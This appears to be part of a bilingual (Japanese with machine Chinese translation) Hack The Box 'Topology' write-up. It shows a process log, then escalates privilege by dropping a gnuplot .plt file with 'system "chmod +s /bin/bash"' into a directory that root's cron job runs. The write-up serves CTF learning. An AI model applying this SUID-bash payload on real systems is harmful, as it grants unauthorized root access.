2023/06/15 10:24:37 CMD: UID=0 PID=1 | /sbin/init
2023/06/15 10:24:38 CMD: UID=33 PID=18789 | /usr/sbin/apache2 -k start
2023/06/15 10:24:39 CMD: UID=0 PID=18791 | /usr/sbin/apache2 -k start
2023/06/15 10:24:39 CMD: UID=0 PID=18790 | /usr/sbin/apache2 -k start
2023/06/15 10:24:40 CMD: UID=0 PID=18794 | /usr/sbin/apache2 -k start
2023/06/15 10:24:40 CMD: UID=0 PID=18793 | /usr/sbin/apache2 -k start
2023/06/15 10:24:40 CMD: UID=0 PID=18792 | /usr/sbin/apache2 -k start
2023/06/15 10:24:40 CMD: UID=0 PID=18795 | /usr/sbin/apache2 -k start
2023/06/15 10:25:02 CMD: UID=0 PID=18798 | /bin/sh -c /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18797 | /usr/sbin/CRON -f
2023/06/15 10:25:02 CMD: UID=0 PID=18796 | /usr/sbin/CRON -f
2023/06/15 10:25:02 CMD: UID=0 PID=18803 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18802 | tr -s
2023/06/15 10:25:02 CMD: UID=0 PID=18801 | grep enp
2023/06/15 10:25:02 CMD: UID=0 PID=18800 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18799 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18807 |
2023/06/15 10:25:02 CMD: UID=0 PID=18806 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18805 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18804 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18808 | /usr/sbin/CRON -f
2023/06/15 10:25:02 CMD: UID=0 PID=18810 | gnuplot /opt/gnuplot/loadplot.plt
2023/06/15 10:25:02 CMD: UID=0 PID=18809 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/06/15 10:25:02 CMD: UID=0 PID=18811 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18812 | tail -60 /opt/gnuplot/loaddata.dat
2023/06/15 10:25:02 CMD: UID=0 PID=18814 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/06/15 10:25:03 CMD: UID=0 PID=18815 | /lib/systemd/systemd-udevd
/opt/gnuplot
階層で色々と動いてる。 /opt/gnuplot
层次结构中有很多事情在移动。
実際に見に行ってみる。 让我们去看看它的真实情况。
あー、Write権限だけあるのか。ならここにExploitファイルを作成してプロセスが回るのを待つ方向で行こう!
啊,你只有写入权限吗? 然后让我们在这里创建一个漏洞利用文件,等待进程的转变!
gnuplot 格努普洛特
getdata.sh
を編集してもうまくいかなかったので以下のコマンドに注目する。
getdata.sh
它不起作用,所以我注意以下命令。
find /opt/gnuplot -name *.plt -exec gnuplot {} ;
.plt
ファイルを見つけて、gnuplt
コマンドで実行している。
.plt
找到该文件并使用 gnuplt
命令运行它。gnuplt
でのコマンド実行については以下のサイトを参考にした。
gnuplt
以下站点被用作 中命令执行的参考。
Exploitファイルを以下のように/opt/gnuplot
に作成する。
/opt/gnuplot
创建漏洞利用文件,如下所示:
system "chmod +s /bin/bash"
これでこの.plt
ファイルが実行されるのを待てばよい。
现在您所要做的就是等待 .plt
文件运行。
上手くいきました!!! 成功了!!
これで特権昇格完了!!! 权限提升现已完成!!
まとめ 总结
今回のBoxは初手の侵入ベクトルがすごく難しかった。というよりラビットホールに吸い込まれていった。
这一次,Box中第一步的入侵向量非常困难。 或者更确切地说,我被吸进了兔子洞。
発想の逆転が大事だなと感じたBoxでした。 正是Box让我觉得扭转思维方式很重要。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。
我希望这次也能帮助安全工程师。
原文始发于@schectman-hell(tak Yassan):【Hack The Box】Topology【WriteUp】